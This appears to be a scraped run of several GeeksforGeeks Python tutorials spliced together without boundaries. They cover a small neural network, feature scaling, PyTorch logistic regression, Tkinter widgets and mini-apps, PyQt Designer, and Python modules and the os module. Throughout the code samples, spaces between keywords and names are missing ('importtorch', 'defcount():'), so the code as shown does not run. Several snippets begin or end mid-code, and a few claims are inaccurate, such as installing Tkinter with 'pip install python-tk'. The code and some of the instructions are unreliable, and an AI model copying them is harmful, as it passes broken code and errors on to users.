Expected Output: After 10 iterations our neural network predicts the value to be 0.65980921. It looks not good as the answer should really be 1. If we increase the number of iterations to 100, we get 0.87680541. Our network is getting smarter! Subsequently, for 10000 iterations we get 0.9897704 which is pretty close and indeed a satisfactory output. References:
This article is contributed by Vivek Pal. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Neural networks are the core of deep learning, a field that has practical applications in many different areas. Today neural networks are used for image classification, speech recognition, object detection, etc. Now, Let’s try to understand the basic unit behind all these states of art techniques. A single neuron transforms given input into some output. Depending on the given input and weights assigned to each input, decide whether the neuron fired or not. Let’s assume the neuron has 3 input connections and one output.
We will be using tanh activation function in a given example. The end goal is to find the optimal set of weights for this neuron that produces correct results. Do this by training the neuron with several different training examples. At each step calculate the error in the output of the neuron, and backpropagate the gradients. The step of calculating the output of a neuron is called forward propagation while the calculation of gradients is called back propagation. Below is the implementation :
Random weights at the start of training
[[-0.16595599]
[ 0.44064899]
[-0.99977125]]
New weights after training
[[5.39428067]
[0.19482422]
[0.34317086]]
Testing network on new examples ->
[0.99995873]
Feature Scaling or Standardization: It is a step of Data Pre Processing that is applied to independent variables or features of data. It basically helps to normalize the data within a particular range. Sometimes, it also helps in speeding up the calculations in an algorithm.
Package Used:
sklearn.preprocessing
Import:
from sklearn.preprocessing import StandardScaler
The formula used in Backend Standardization replaces the values with their Z scores.
Mostly the Fit method is used for Feature scaling
fit(X, y = None)
Computes the mean and std to be used for later scaling.
Python
importpandas as pd
fromsklearn.preprocessing importStandardScaler
# Read Data from CSV
data =read_csv('Geeksforgeeks.csv')
data.head()
# Initialise the Scaler
scaler =StandardScaler()
# To scale data
scaler.fit(data)
Why and Where to Apply Feature Scaling? The real-world dataset contains features that highly vary in magnitudes, units, and range. Normalization should be performed when the scale of a feature is irrelevant or misleading and not should Normalise when the scale is meaningful.
The algorithms which use Euclidean Distance measures are sensitive to Magnitudes. Here feature scaling helps to weigh all the features equally.
Formally, If a feature in the dataset is big in scale compared to others then in algorithms where Euclidean distance is measured this big scaled feature becomes dominating and needs to be normalized.
Examples of Algorithms where Feature Scaling matters 1. K-Means uses the Euclidean distance measure here feature scaling matters. 2. K-Nearest-Neighbours also require feature scaling. 3. Principal Component Analysis (PCA): Tries to get the feature with maximum variance, here too feature scaling is required. 4. Gradient Descent: Calculation speed increase as Theta calculation becomes faster after feature scaling.
Note: Naive Bayes, Linear Discriminant Analysis, and Tree-Based models are not affected by feature scaling. In Short, any Algorithm which is Not Distance-based is Not affected by Feature Scaling.
My Personal Notesarrow_drop_up
Identifying handwritten digits using Logistic Regression in PyTorch
Logistic Regression is a very commonly used statistical method that allows us to predict a binary output from a set of independent variables. The various properties of logistic regression and its Python implementation have been covered in this article previously. Now, we shall find out how to implement this in PyTorch, a very popular deep learning library that is being developed by Facebook. Now, we shall see how to classify handwritten digits from the MNIST dataset using Logistic Regression in PyTorch. Firstly, you will need to install PyTorch into your Python environment. The easiest way to do this is to use the pip or conda tool. Visit pytorch.org and install the version of your Python interpreter and the package manager that you would like to use. With PyTorch installed, let us now have a look at the code. Write the three lines given below to import the required library functions and objects.
Python3
importtorch
importtorch.nn as nn
importtorchvision.datasets as dsets
importtorchvision.transforms as transforms
fromtorch.autograd importVariable
Here, the torch.nn module contains the code required for the model, torchvision.datasets contain the MNIST dataset. It contains the dataset of handwritten digits that we shall be using here. The torchvision.transforms module contains various methods to transform objects into others. Here, we shall be using it to transform from images to PyTorch tensors. Also, the torch.autograd module contains the Variable class amongst others, which will be used by us while defining our tensors. Next, we shall download and load the dataset to memory.
In our dataset, the image size is 28*28. Thus, our input size is 784. Also, 10 digits are present in this and hence, we can have 10 different outputs. Thus, we set num_classes as 10. Also, we shall train five times on the entire dataset. Finally, we will train in small batches of 100 images each so as to prevent the crashing of the program due to memory overflow. After this, we shall be defining our model as below. Here, we shall initialize our model as a subclass of torch.nn.Module and then define the forward pass. In the code that we are writing, the softmax is internally calculated during each forward pass and hence we do not need to specify it inside the forward() function.
Python3
classLogisticRegression(nn.Module):
def__init__(self, input_size, num_classes):
super(LogisticRegression, self).__init__()
self.linear =nn.Linear(input_size, num_classes)
defforward(self, x):
out =self.linear(x)
returnout
Having defined our class, now we instantiate an object for the same.
Python3
model =LogisticRegression(input_size, num_classes)
Next, we set our loss function and the optimizer. Here, we shall be using the cross-entropy loss and for the optimizer, we shall be using the stochastic gradient descent algorithm with a learning rate of 0.001 as defined in the hyperparameter above.
Python3
criterion =nn.CrossEntropyLoss()
optimizer =torch.optim.SGD(model.parameters(), lr =learning_rate)
Now, we shall start the training. Here, we shall be performing the following tasks:
Finally, we shall be testing out the model by using the following code.
Python3
# Test the Model
correct =0
total =0
forimages, labels intest_loader:
images =Variable(images.view(-1, 28*28))
outputs =model(images)
_, predicted =torch.max(outputs.data, 1)
total +=labels.size(0)
correct +=(predicted ==labels).sum()
print('Accuracy of the model on the 10000 test images: % d %%'%(
100*correct /total))
Assuming that you performed all steps correctly, you will get an accuracy of 82%, which is far off from today’s state-of-the-art model, which uses a special type of neural network architecture. For your reference, you can find the entire code for this article below:
Tkinter is the most commonly used library for developing GUI (Graphical User Interface) in Python. It is a standard Python interface to the Tk GUI toolkit shipped with Python. As Tk and Tkinter are available on most of the Unix platforms as well as on the Windows system, developing GUI applications with Tkinter becomes the fastest and easiest.
This Tkinter Tutorial will help learning Tkinter from Basics to advance GUI development, including all the necessary functions explained in detail.
Kivy is a graphical user interface opensource Python library that allows you to develop multi-platform applications on Windows, macOS, Android, iOS, Linux, and Raspberry-Pi. In addition to the regular mouse and keyboard inputs, it also supports multitouch events. The applications made using Kivy will similar across all the platforms but it also means that the applications fell or look will differ from any native application.
Python offers multiple options for developing GUI (Graphical User Interface). Out of all the GUI methods, tkinter is the most commonly used method. It is a standard Python interface to the Tk GUI toolkit shipped with Python. Python with tkinter is the fastest and easiest way to create the GUI applications. Creating a GUI using tkinter is an easy task. To create a tkinter app:
Importing the module – tkinter
Create the main window (container)
Add any number of widgets to the main window
Apply the event Trigger on the widgets.
Importing tkinter is same as importing any other module in the Python code. Note that the name of the module in Python 2.x is ‘Tkinter’ and in Python 3.x it is ‘tkinter’.
import tkinter
There are two main methods used which the user needs to remember while creating the Python application with GUI.
Tk(screenName=None, baseName=None, className=’Tk’, useTk=1): To create a main window, tkinter offers a method ‘Tk(screenName=None, baseName=None, className=’Tk’, useTk=1)’. To change the name of the window, you can change the className to the desired one. The basic code used to create the main window of the application is:
m=tkinter.Tk() where m is the name of the main window object
mainloop(): There is a method known by the name mainloop() is used when your application is ready to run. mainloop() is an infinite loop used to run the application, wait for an event to occur and process the event as long as the window is not closed.
m.mainloop()
importtkinter
m =tkinter.Tk()
'''
widgets are added here
'''
m.mainloop()
tkinter also offers access to the geometric configuration of the widgets which can organize the widgets in the parent windows. There are mainly three geometry manager classes class.
pack() method:It organizes the widgets in blocks before placing in the parent widget.
grid() method:It organizes the widgets in grid (table-like structure) before placing in the parent widget.
place() method:It organizes the widgets by placing them on specific positions directed by the programmer.
There are a number of widgets which you can put in your tkinter application. Some of the major widgets are explained below:
Button:To add a button in your application, this widget is used. The general syntax is:
w=Button(master, option=value)
master is the parameter used to represent the parent window. There are number of options which are used to change the format of the Buttons. Number of options can be passed as parameters separated by commas. Some of them are listed below.
activebackground: to set the background color when button is under the cursor.
activeforeground: to set the foreground color when button is under the cursor.
Canvas: It is used to draw pictures and other complex layout like graphics, text and widgets. The general syntax is:
w = Canvas(master, option=value)
master is the parameter used to represent the parent window.
There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.
bd: to set the border width in pixels.
bg: to set the normal background color.
cursor: to set the cursor used in the canvas.
highlightcolor: to set the color shown in the focus highlight.
width: to set the width of the widget.
height: to set the height of the widget.
fromtkinter import*
master =Tk()
w =Canvas(master, width=40, height=60)
w.pack()
canvas_height=20
canvas_width=200
y =int(canvas_height /2)
w.create_line(0, y, canvas_width, y )
mainloop()
Output:
CheckButton: To select any number of options by displaying a number of options to a user as toggle buttons. The general syntax is:
w = CheckButton(master, option=value)
There are number of options which are used to change the format of this widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.
Title: To set the title of the widget.
activebackground: to set the background color when widget is under the cursor.
activeforeground: to set the foreground color when widget is under the cursor.
Entry:It is used to input the single line text entry from the user.. For multi-line text input, Text widget is used. The general syntax is:
w=Entry(master, option=value)
master is the parameter used to represent the parent window. There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.
bd: to set the border width in pixels.
bg: to set the normal background color.
cursor: to set the cursor used.
command: to call a function.
highlightcolor: to set the color shown in the focus highlight.
width: to set the width of the button.
height: to set the height of the button.
fromtkinter import*
master =Tk()
Label(master, text='First Name').grid(row=0)
Label(master, text='Last Name').grid(row=1)
e1 =Entry(master)
e2 =Entry(master)
e1.grid(row=0, column=1)
e2.grid(row=1, column=1)
mainloop()
Output:
Frame: It acts as a container to hold the widgets. It is used for grouping and organizing the widgets. The general syntax is:
w = Frame(master, option=value)
master is the parameter used to represent the parent window.
There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.
highlightcolor: To set the color of the focus highlight when widget has to be focused.
bd: to set the border width in pixels.
bg: to set the normal background color.
cursor: to set the cursor used.
width: to set the width of the widget.
height: to set the height of the widget.
fromtkinter import*
root =Tk()
frame =Frame(root)
frame.pack()
bottomframe =Frame(root)
bottomframe.pack( side =BOTTOM )
redbutton =Button(frame, text ='Red', fg ='red')
redbutton.pack( side =LEFT)
greenbutton =Button(frame, text ='Brown', fg='brown')
greenbutton.pack( side =LEFT )
bluebutton =Button(frame, text ='Blue', fg ='blue')
bluebutton.pack( side =LEFT )
blackbutton =Button(bottomframe, text ='Black', fg ='black')
blackbutton.pack( side =BOTTOM)
root.mainloop()
Output:
Label: It refers to the display box where you can put any text or image which can be updated any time as per the code. The general syntax is:
w=Label(master, option=value)
master is the parameter used to represent the parent window.
There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.
bg: to set he normal background color.
bg to set he normal background color.
command: to call a function.
font: to set the font on the button label.
image: to set the image on the button.
width: to set the width of the button.
height” to set the height of the button.
fromtkinter import*
root =Tk()
w =Label(root, text='GeeksForGeeks.org!')
w.pack()
root.mainloop()
Output:
Listbox: It offers a list to the user from which the user can accept any number of options. The general syntax is:
w = Listbox(master, option=value)
master is the parameter used to represent the parent window.
There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.
highlightcolor: To set the color of the focus highlight when widget has to be focused.
bg: to set he normal background color.
bd: to set the border width in pixels.
font: to set the font on the button label.
image: to set the image on the widget.
width: to set the width of the widget.
height: to set the height of the widget.
fromtkinter import*
top =Tk()
Lb =Listbox(top)
Lb.insert(1, 'Python')
Lb.insert(2, 'Java')
Lb.insert(3, 'C++')
Lb.insert(4, 'Any other')
Lb.pack()
top.mainloop()
Output:
MenuButton: It is a part of top-down menu which stays on the window all the time. Every menubutton has its own functionality. The general syntax is:
w = MenuButton(master, option=value)
master is the parameter used to represent the parent window.
There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.
activebackground: To set the background when mouse is over the widget.
activeforeground: To set the foreground when mouse is over the widget.
bg: to set he normal background color.
bd: to set the size of border around the indicator.
cursor: To appear the cursor when the mouse over the menubutton.
image: to set the image on the widget.
width: to set the width of the widget.
height: to set the height of the widget.
highlightcolor: To set the color of the focus highlight when widget has to be focused.
Menu: It is used to create all kinds of menus used by the application. The general syntax is:
w = Menu(master, option=value)
master is the parameter used to represent the parent window.
There are number of options which are used to change the format of this widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.
title: To set the title of the widget.
activebackground: to set the background color when widget is under the cursor.
activeforeground: to set the foreground color when widget is under the cursor.
Message: It refers to the multi-line and non-editable text. It works same as that of Label. The general syntax is:
w = Message(master, option=value)
master is the parameter used to represent the parent window.
There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.
bd: to set the border around the indicator.
bg: to set he normal background color.
font: to set the font on the button label.
image: to set the image on the widget.
width: to set the width of the widget.
height: to set the height of the widget.
fromtkinter import*
main =Tk()
ourMessage ='This is our Message'
messageVar =Message(main, text =ourMessage)
messageVar.config(bg='lightgreen')
messageVar.pack( )
main.mainloop( )
Output:
RadioButton: It is used to offer multi-choice option to the user. It offers several options to the user and the user has to choose one option. The general syntax is:
w = RadioButton(master, option=value)
There are number of options which are used to change the format of this widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.
activebackground: to set the background color when widget is under the cursor.
activeforeground: to set the foreground color when widget is under the cursor.
bg: to set he normal background color.
command: to call a function.
font: to set the font on the button label.
image: to set the image on the widget.
width: to set the width of the label in characters.
height: to set the height of the label in characters.
Scale: It is used to provide a graphical slider that allows to select any value from that scale. The general syntax is:
w = Scale(master, option=value)
master is the parameter used to represent the parent window.
There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.
cursor: To change the cursor pattern when the mouse is over the widget.
activebackground: To set the background of the widget when mouse is over the widget.
bg: to set he normal background color.
orient: Set it to HORIZONTAL or VERTICAL according to the requirement.
from_: To set the value of one end of the scale range.
to: To set the value of the other end of the scale range.
image: to set the image on the widget.
width: to set the width of the widget.
fromtkinter import*
master =Tk()
w =Scale(master, from_=0, to=42)
w.pack()
w =Scale(master, from_=0, to=200, orient=HORIZONTAL)
w.pack()
mainloop()
Output:
Scrollbar: It refers to the slide controller which will be used to implement listed widgets. The general syntax is:
w = Scrollbar(master, option=value)
master is the parameter used to represent the parent window.
There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.
width: to set the width of the widget.
activebackground: To set the background when mouse is over the widget.
bg: to set he normal background color.
bd: to set the size of border around the indicator.
cursor: To appear the cursor when the mouse over the menubutton.
mylist.insert(END, 'This is line number'+str(line))
mylist.pack( side =LEFT, fill =BOTH )
scrollbar.config( command =mylist.yview )
mainloop()
Output:
Text: To edit a multi-line text and format the way it has to be displayed. The general syntax is:
w =Text(master, option=value)
There are number of options which are used to change the format of the text. Number of options can be passed as parameters separated by commas. Some of them are listed below.
highlightcolor: To set the color of the focus highlight when widget has to be focused.
insertbackground: To set the background of the widget.
bg: to set he normal background color.
font: to set the font on the button label.
image: to set the image on the widget.
width: to set the width of the widget.
height: to set the height of the widget.
fromtkinter import*
root =Tk()
T =Text(root, height=2, width=30)
T.pack()
T.insert(END, 'GeeksforGeeks\nBEST WEBSITE\n')
mainloop()
Output:
TopLevel: This widget is directly controlled by the window manager. It don’t need any parent window to work on.The general syntax is:
w = TopLevel(master, option=value)
There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.
bg: to set he normal background color.
bd: to set the size of border around the indicator.
cursor: To appear the cursor when the mouse over the menubutton.
width: to set the width of the widget.
height: to set the height of the widget.
fromtkinter import*
root =Tk()
root.title('GfG')
top =Toplevel()
top.title('Python')
top.mainloop()
Output:
SpinBox: It is an entry of ‘Entry’ widget. Here, value can be input by selecting a fixed value of numbers.The general syntax is:
w = SpinBox(master, option=value)
There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.
bg: to set he normal background color.
bd: to set the size of border around the indicator.
cursor: To appear the cursor when the mouse over the menubutton.
command: To call a function.
width: to set the width of the widget.
activebackground: To set the background when mouse is over the widget.
disabledbackground: To disable the background when mouse is over the widget.
from_: To set the value of one end of the range.
to: To set the value of the other end of the range.
fromtkinter import*
master =Tk()
w =Spinbox(master, from_ =0, to =10)
w.pack()
mainloop()
Output:
PannedWindowIt is a container widget which is used to handle number of panes arranged in it. The general syntax is:
w = PannedWindow(master, option=value)
master is the parameter used to represent the parent window. There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.
bg: to set he normal background color.
bd: to set the size of border around the indicator.
cursor: To appear the cursor when the mouse over the menubutton.
width: to set the width of the widget.
height: to set the height of the widget.
fromtkinter import*
m1 =PanedWindow()
m1.pack(fill =BOTH, expand =1)
left =Entry(m1, bd =5)
m1.add(left)
m2 =PanedWindow(m1, orient =VERTICAL)
m1.add(m2)
top =Scale( m2, orient =HORIZONTAL)
m2.add(top)
mainloop()
Output:
This article is contributed by Rishabh Bansal. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Python offers multiple options for developing a GUI (Graphical User Interface). Out of all the GUI methods, Tkinter is the most commonly used method. It is a standard Python interface to the Tk GUI toolkit shipped with Python. Python with Tkinter outputs the fastest and easiest way to create GUI applications. Creating a GUI using Tkinter is an easy task.
To create a Tkinter :
Importing the module – tkinter
Create the main window (container)
Add any number of widgets to the main window
Apply the event Trigger on the widgets.
Below is what the GUI looks like:
Let’s create a GUI based simple calculator using the Python Tkinter module, which can perform basic arithmetic operations addition, subtraction, multiplication, and division.
Prerequisites: Tkinter Introduction, openpyxl module. Python provides the Tkinter toolkit to develop GUI applications. Now, it’s upto the imagination or necessity of developer, what he/she want to develop using this toolkit. Let’s make a simple information form GUI application using Tkinter. In this application, User has to fill up the required information, and that information is automatically written into an excel file.
Firstly, create an empty excel file, after that pass an absolute path of the excel file in the program so that the program is able to access that excel file.
This article focus on creating a stopwatch using Tkinter in python Tkinter : Tkinter is the standard GUI library for Python. Python when combined with Tkinter provides a fast and easy way to create GUI applications. Tkinter provides a powerful object-oriented interface to the Tk GUI toolkit. It’s very easy to get started with Tkinter, here are some sample codes to get your hands on Tkinter in python.
Python3
# Python program to create a
# a new window using Tkinter
# importing the required libraries
importtkinter
# creating a object 'top' as instance of class Tk
top =tkinter.Tk()
# This will start the blank window
top.mainloop()
Output:
Creating Stopwatch using Tkinter
Now lets try to create a program using Tkinter module to create a stopwatch. A stopwatch is a handheld timepiece designed to measure the amount of time elapsed from a particular time when it is activated to the time when the piece is deactivated. A large digital version of a stopwatch designed for viewing at a distance, as in a sports stadium, is called a stop clock. In manual timing, the clock is started and stopped by a person pressing a button. In fully automatic time, both starting and stopping are triggered automatically, by sensors. Required Modules: We are only going to use Tkinter for creating GUI and no other libraries will be used in this program. Source Code:
Python3
# Python program to illustrate a stop watch
# using Tkinter
#importing the required libraries
importtkinter as Tkinter
fromdatetime importdatetime
counter =66600
running =False
defcounter_label(label):
defcount():
ifrunning:
globalcounter
# To manage the initial delay.
ifcounter==66600:
display="Starting..."
else:
tt =datetime.fromtimestamp(counter)
string =tt.strftime("%H:%M:%S")
display=string
label['text']=display # Or label.config(text=display)
# label.after(arg1, arg2) delays by
# first argument given in milliseconds
# and then calls the function given as second argument.
# Generally like here we need to call the
# function in which it is present repeatedly.
# Delays by 1000ms=1 seconds and call count again.
label.after(1000, count)
counter +=1
# Triggering the start of the counter.
count()
# start function of the stopwatch
defStart(label):
globalrunning
running=True
counter_label(label)
start['state']='disabled'
stop['state']='normal'
reset['state']='normal'
# Stop function of the stopwatch
defStop():
globalrunning
start['state']='normal'
stop['state']='disabled'
reset['state']='normal'
running =False
# Reset function of the stopwatch
defReset(label):
globalcounter
counter=66600
# If rest is pressed after pressing stop.
ifrunning==False:
reset['state']='disabled'
label['text']='Welcome!'
# If reset is pressed while the stopwatch is running.
This article is contributed by Subhajit Saha. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Building GUI applications using the PYQT designer tool is comparatively less time-consuming than code the widgets. It is one of the fastest and easiest ways to create GUIs.
The normal approach is to write the code even for the widgets and for the functionalities as well. But using Qt-designer, one can simply drag and drop the widgets, which comes very useful while developing big-scale applications.
Installation of PyQt5 :
For Linux :
sudo apt-get install python3-pyqt5
For Windows :
pip install pyqt5
pip install pyqt5-tools
Let’s create a signup form using the QT designer tool. No code is required for creating forms, buttons, text boxes, etc! It is a rather drag and drops environment. So, using PyQt is a lot simpler than Tkinter.
QT Designer will be located at MyPythonInstallationDir\Lib\site-packages\pyqt5-tools and is named designer.exe (on Windows OS). Open Qt Designer, then select Main Window and click Create. Set your preferred size of the window by dragging the edges of the window.
To create the layout of the Signup form, thefollowing widgets are needed :
Three text edit boxes.
One button.
Four Text Labels (SignId Banner, UserName label, Password and Confirm Password label).
One has to find those widgets in Widget Tool Box. Just drag and drop the required widgets onto the Main Window or the window working on.
To change the appearance of the window or the widget, just right click on the widget and click Change StyleSheet.
To get a preview of the window, press Ctrl + R.
Save the file : The file will be saved with the .ui extension. To convert this file (.ui extension) to a Python file (.py extension), follow these steps :
Open the terminal and navigate to the folder where the layout.UI file is present.
To convert into a Python file, type pyuic5 -x layout.ui -o layout.py on a terminal.
TKinter is widely used for developing GUI applications. Along with applications, we can also use Tkinter GUI to develop games.
Let’s try to make a game using Tkinter. In this game player has to enter color of the word that appears on the screen and hence the score increases by one, the total time to play this game is 30 seconds. Colors used in this game are Red, Blue, Green, Pink, Black, Yellow, Orange, White, Purple and Brown. Interface will display name of different colors in different colors. Player has to identify the color and enter the correct color name to win the game.
Below is the implementation of above game :
# import the modules
importtkinter
importrandom
# list of possible colour.
colours =['Red','Blue','Green','Pink','Black',
'Yellow','Orange','White','Purple','Brown']
score =0
# the game time left, initially 30 seconds.
timeleft =30
# function that will start the game.
defstartGame(event):
iftimeleft ==30:
# start the countdown timer.
countdown()
# run the function to
# choose the next colour.
nextColour()
# Function to choose and
# display the next colour.
defnextColour():
# use the globally declared 'score'
# and 'play' variables above.
globalscore
globaltimeleft
# if a game is currently in play
iftimeleft > 0:
# make the text entry box active.
e.focus_set()
# if the colour typed is equal
# to the colour of the text
ife.get().lower() ==colours[1].lower():
score +=1
# clear the text entry box.
e.delete(0, tkinter.END)
random.shuffle(colours)
# change the colour to type, by changing the
# text _and_ the colour to a random colour value
label.config(fg =str(colours[1]), text =str(colours[0]))
# update the score.
scoreLabel.config(text ="Score: "+str(score))
# Countdown timer function
defcountdown():
globaltimeleft
# if a game is in play
iftimeleft > 0:
# decrement the timer.
timeleft -=1
# update the time left label
timeLabel.config(text ="Time left: "
+str(timeleft))
# run the function again after 1 second.
timeLabel.after(1000, countdown)
# Driver Code
# create a GUI window
root =tkinter.Tk()
# set the title
root.title("COLORGAME")
# set the size
root.geometry("375x200")
# add an instructions label
instructions =tkinter.Label(root, text ="Type in the colour"
"of the words, and not the word text!",
font =('Helvetica', 12))
instructions.pack()
# add a score label
scoreLabel =tkinter.Label(root, text ="Press enter to start",
font =('Helvetica', 12))
scoreLabel.pack()
# add a time left label
timeLabel =tkinter.Label(root, text ="Time left: "+
str(timeleft), font =('Helvetica', 12))
timeLabel.pack()
# add a label for displaying the colours
label =tkinter.Label(root, font =('Helvetica', 60))
label.pack()
# add a text entry box for
# typing in colours
e =tkinter.Entry(root)
# run the 'startGame' function
# when the enter key is pressed
root.bind('<Return>', startGame)
e.pack()
# set focus on the entry box
e.focus_set()
# start the GUI
root.mainloop()
Output :
Note : Above code may not run on online IDE because of TKinter module.
Let’s see how to create a simple notepad in Python using Tkinter. This notepad GUI will consist of various menu like file and edit, using which all functionalities like saving the file, opening a file, editing, cut and paste can be done.
Now for creating this notepad, Python 3 and Tkinter should already be installed in your system. You can download suitable python package as per system requirement. After you have successfully installed python you need to install Tkinter (a Python’s GUI package).
Use this command to install Tkinter :
pip install python-tk
Importing Tkinter :
Python
importtkinter
importos
fromtkinter import*
# To get the space above for message
fromtkinter.messagebox import*
# To get the dialog box to open when required
fromtkinter.filedialog import*
Note :messagebox is used to write the message in the white box called notepad and filedialog is used for the dialog box to appear when you are opening file from anywhere in your system or saving your file in a particular position or place.
Adding Menu :
Python
# Add controls(widget)
self.__thisTextArea.grid(sticky =N +E +S +W)
# To open new file
self.__thisFileMenu.add_command(label ="New",
command =self.__newFile)
# To open a already existing file
self.__thisFileMenu.add_command(label ="Open",
command =self.__openFile)
# To save current file
self.__thisFileMenu.add_command(label ="Save",
command =self.__saveFile)
# To create a line in the dialog
self.__thisFileMenu.add_separator()
# To terminate
self.__thisFileMenu.add_command(label ="Exit",
command =self.__quitApplication)
self.__thisMenuBar.add_cascade(label ="File",
menu =self.__thisFileMenu)
# To give a feature of cut
self.__thisEditMenu.add_command(label ="Cut",
command =self.__cut)
# To give a feature of copy
self.__thisEditMenu.add_command(label ="Copy",
command =self.__copy)
# To give a feature of paste
self.__thisEditMenu.add_command(label ="Paste",
command =self.__paste)
# To give a feature of editing
self.__thisMenuBar.add_cascade(label ="Edit",
menu =self.__thisEditMenu)
# To create a feature of description of the notepad
In this we have added all the functionality that is required in the notepad, you can add other functionality too in this like the font size, font color, bold, underlined, etc.
To run this code, save it by the extension .py and then open cmd(command prompt) and move to the location of the file saved and then write the following
python "filename".py
and press enter and it will run. Or can be run directly by simply double clicking your .py extension file.
Prerequisite : Basics of Tkinter Python offers multiple options for developing GUI (Graphical User Interface). Out of all the GUI methods, tkinter is most commonly used method. It is a standard Python interface to the Tk GUI toolkit shipped with Python. Python with tkinter outputs the fastest and easiest way to create the GUI applications. Python provides the Tkinter toolkit to develop GUI applications. Now, it’s upto the imagination or necessity of developer, what he/she want to develop using this toolkit. Let’s try to implement a message encryption-decryption application according to the Vigenère cipher, which can encrypt the message using the key and can decrypt the encrypted hash using same key.
Modules used in the project :
Tkinter -> GUI toolkittime datetime base64 -> Vigenère cipher
Prerequisites : Introduction to tkinter | Get the real time currency exchange rate Python offers multiple options for developing GUI (Graphical User Interface). Out of all the GUI methods, tkinter is the most commonly used method. It is a standard Python interface to the Tk GUI toolkit shipped with Python. Python with tkinter outputs the fastest and easiest way to create the GUI applications.
To create a tkinter :
Importing the module – tkinter
Create the main window (container)
Add any number of widgets to the main window.
Apply the event Trigger on the widgets.
Let’s create a GUI based simple Real-time currency convertor (Using Alpha Vantage API) which can convert amounts from one currency to another currency.
A Python module is a file containing Python definitions and statements. A module can define functions, classes, and variables. A module can also include runnable code. Grouping related code into a module makes the code easier to understand and use. It also makes the code logically organized.
Example: create a simple module
Python3
# A simple module, calc.py
defadd(x, y):
return(x+y)
defsubtract(x, y):
return(x-y)
Import Module in Python – Import statement
We can import the functions, classes defined in a module to another module using the import statement in some other Python source file.
Syntax:
import module
When the interpreter encounters an import statement, it imports the module if the module is present in the search path. A search path is a list of directories that the interpreter searches for importing a module. For example, to import the module calc.py, we need to put the following command at the top of the script.
Note: This does not import the functions or classes directly instead imports the module only. To access the functions inside the module the dot(.) operator is used.
Example: Importing modules in Python
Python3
# importing module calc.py
importcalc
print(calc.add(10, 2))
Output:
12
The from importStatement
Python’s from statement lets you import specific attributes from a module without importing the module as a whole.
Example: Importing specific attributes from the module
Python3
# importing sqrt() and factorial from the
# module math
frommath importsqrt, factorial
# if we simply do "import math", then
# math.sqrt(16) and math.factorial()
# are required.
print(sqrt(16))
print(factorial(6))
Output:
4.0
720
Import all Names – From import * Statement
The * symbol used with the from import statement is used to import all the names from a module to a current namespace.
Syntax:
from module_name import *
The use of * has its advantages and disadvantages. If you know exactly what you will be needing from the module, it is not recommended to use *, else do so.
Example: Importing all names
Python3
# importing sqrt() and factorial from the
# module math
frommath import*
# if we simply do "import math", then
# math.sqrt(16) and math.factorial()
# are required.
print(sqrt(16))
print(factorial(6))
Output
4.0
720
Locating Modules
Whenever a module is imported in Python the interpreter looks for several locations. First, it will check for the built-in module, if not found then it looks for a list of directories defined in the sys.path. Python interpreter searches for the module in the following manner –
First, it searches for the module in the current directory.
If the module isn’t found in the current directory, Python then searches each directory in the shell variable PYTHONPATH. The PYTHONPATH is an environment variable, consisting of a list of directories.
If that also fails python checks the installation-dependent list of directories configured at the time Python is installed.
We can rename the module while importing it using the as keyword.
Example: Renaming the module
Python3
# importing sqrt() and factorial from the
# module math
importmath as gfg
# if we simply do "import math", then
# math.sqrt(16) and math.factorial()
# are required.
print(gfg.sqrt(16))
print(gfg.factorial(6))
Output
4.0
720
The dir() function
The dir() built-in function returns a sorted list of strings containing the names defined by a module. The list contains the names of all the modules, variables, and functions that are defined in a module.
This article is contributed by Gaurav Shrestha. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
The OS module in Python provides functions for interacting with the operating system. OS comes under Python’s standard utility modules. This module provides a portable way of using operating system-dependent functionality. The *os* and *os.path* modules include many functions to interact with the file system.
Handling the Current Working Directory
Consider Current Working Directory(CWD) as a folder, where the Python is operating. Whenever the files are called only by their name, Python assumes that it starts in the CWD which means that name-only reference will be successful only if the file is in the Python’s CWD. Note: The folder where the Python script is running is known as the Current Directory. This is not the path where the Python script is located. Getting the Current working directory To get the location of the current working directory os.getcwd() is used.
Example:
Python3
# Python program to explain os.getcwd() method
# importing os module
importos
# Get the current working
# directory (CWD)
cwd =os.getcwd()
# Print the current working
# directory (CWD)
print("Current working directory:", cwd)
Output:
Current working directory: /home/nikhil/Desktop/gfg
To change the current working directory(CWD) os.chdir() method is used. This method changes the CWD to a specified path. It only takes a single argument as a new directory path.
Note: The current working directory is the folder in which the Python script is operating.
Example:
Python3
# Python program to change the
# current working directory
importos
# Function to Get the current
# working directory
defcurrent_path():
print("Current working directory before")
print(os.getcwd())
print()
# Driver's code
# Printing CWD before
current_path()
# Changing the CWD
os.chdir('../')
# Printing CWD after
